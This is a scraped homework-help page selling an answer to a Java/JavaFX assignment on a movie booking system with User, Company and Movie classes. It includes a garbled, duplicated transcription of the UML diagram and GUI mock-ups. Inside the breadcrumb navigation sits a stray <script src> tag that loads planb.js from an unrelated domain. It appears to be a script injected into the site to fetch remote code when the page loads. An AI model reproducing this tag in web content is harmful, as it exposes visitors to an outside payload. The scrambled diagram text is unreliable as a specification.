Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> using java -java fxThe following UML diagram describes the required classes as wellas their data fie

(Solved): using java -java fxThe following UML diagram describes the required classes as wellas their data fie ...



using java -java fx

The following UML diagram describes the required classes as wellas their data fields/methods.
• You have to add the appropriate setter (mutators) and getters(accessor) methods for all of the
data fields.

USER CLASS
The User class is primarily used to store and retrieve informationabout each user in the system. The
class contains name, email, mobile and gender as data fields. Writethe needed setters (mutators),
getters (accessors). The method bookMovie() is used to make aspecified movie as a booked movie .
Override the method toString() to return the user bookinginformation (user information + booked movie
details).
COMPANY CLASS
The company class is used to store a company name, an array list ofusers as well as an array list of
booked movies. Write the needed setters and getters. The class alsooffers methods for adding or
deleting a movie.
MOVIE CLASS
The movie class is used to store and retrieve information about amovie. The class contains a name of a
movie, list of movies dates and list of movie times. Write theneeded setters and getters.
In the main Project class provided to you, use the methodinitMoviesData() to add a list of movies that
will be displayed to the user.

. GUI DESIGN
HERE IS A SUGGESTED GUI DESIGN:

The image of the current movie is shown in the label alongsidewith its times and dates in their
combo-boxes.
• When the button ("?>") is clicked, the image of the next moviein the list is shown and the times
and dates combo-boxes are updated.
• When the button ("<--") is clicked, the image of the previousmovie in the list is shown and the
times/dates combo-boxes are updated.
• When the button ("Book") is clicked, all the booking informationwill be shown. you have to store
all of the user information (name, mobile, email, gender) as wellas the booked movie information
(name, date, time) to a user object and show them in a label.
• If the user click ("Book"), you have to ensure that all of theuser information are filled in or a
suitable message should be displayed.

User String name String mobNo String email String gender Movie bookedMovie bookedMovie Movie +User0 ??int Id 1..1 +User(String name, String number, String email, String gender)) String name String movieTimes +void bookMovie(Movie m) Stringn MovieDates 0.* +Movie0 Movie (int Id, String name, String) MovieDates, String MovieTimes) users +Stringn getMovieDates0 +void setMovieDate (String] dates) +void setMovieTime (String times) movies +Stringl getMovieTimes0 Company -String name ArrayListsUser users ArrayList Movie movies +Company(String name) +Company(ArrayList<Movie> movie) +ArrayList User getUsers0 +void setUsers(ArrayList User users) +ArrayList Movie> getMovies0 +void setMovies(ArrayList Movie movies) +void AddMovie(Movie m) +void deleteMovie(int id) Movies Booking System.. Movies Booking System.. HOME ALONE Name: HOME ALONe Name: Nuha Ahmad Mobile No.: Mobile No: 0555555555 gender Male gender: Male Female Female Email: Email: nuha@gmail.com ?ok Book Home Alone Home Alone Booking Information Movie: Home Alone It will be shown at Date & Time: Date & Time: Date 1/11/2019 Time 3:00 Booking Information 1/11/2019 3:00 3:00 User Info Name: Nuha Ahmad 1/11/2019 Email: nuha@gmail.com Mobile No.: 0555555555 Gender: Female Show transcribed image text User String name String mobNo String email String gender Movie bookedMovie bookedMovie Movie +User0 ??int Id 1..1 +User(String name, String number, String email, String gender)) String name String movieTimes +void bookMovie(Movie m) Stringn MovieDates 0.* +Movie0 Movie (int Id, String name, String) MovieDates, String MovieTimes) users +Stringn getMovieDates0 +void setMovieDate (String] dates) +void setMovieTime (String times) movies +Stringl getMovieTimes0 Company -String name ArrayListsUser users ArrayList Movie movies +Company(String name) +Company(ArrayList movie) +ArrayList User getUsers0 +void setUsers(ArrayList User users) +ArrayList Movie> getMovies0 +void setMovies(ArrayList Movie movies) +void AddMovie(Movie m) +void deleteMovie(int id)
Movies Booking System.. Movies Booking System.. HOME ALONE Name: HOME ALONe Name: Nuha Ahmad Mobile No.: Mobile No: 0555555555 gender Male gender: Male Female Female Email: Email: nuha@gmail.com ?ok Book Home Alone Home Alone Booking Information Movie: Home Alone It will be shown at Date & Time: Date & Time: Date 1/11/2019 Time 3:00 Booking Information 1/11/2019 3:00 3:00 User Info Name: Nuha Ahmad 1/11/2019 Email: nuha@gmail.com Mobile No.: 0555555555 Gender: Female


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now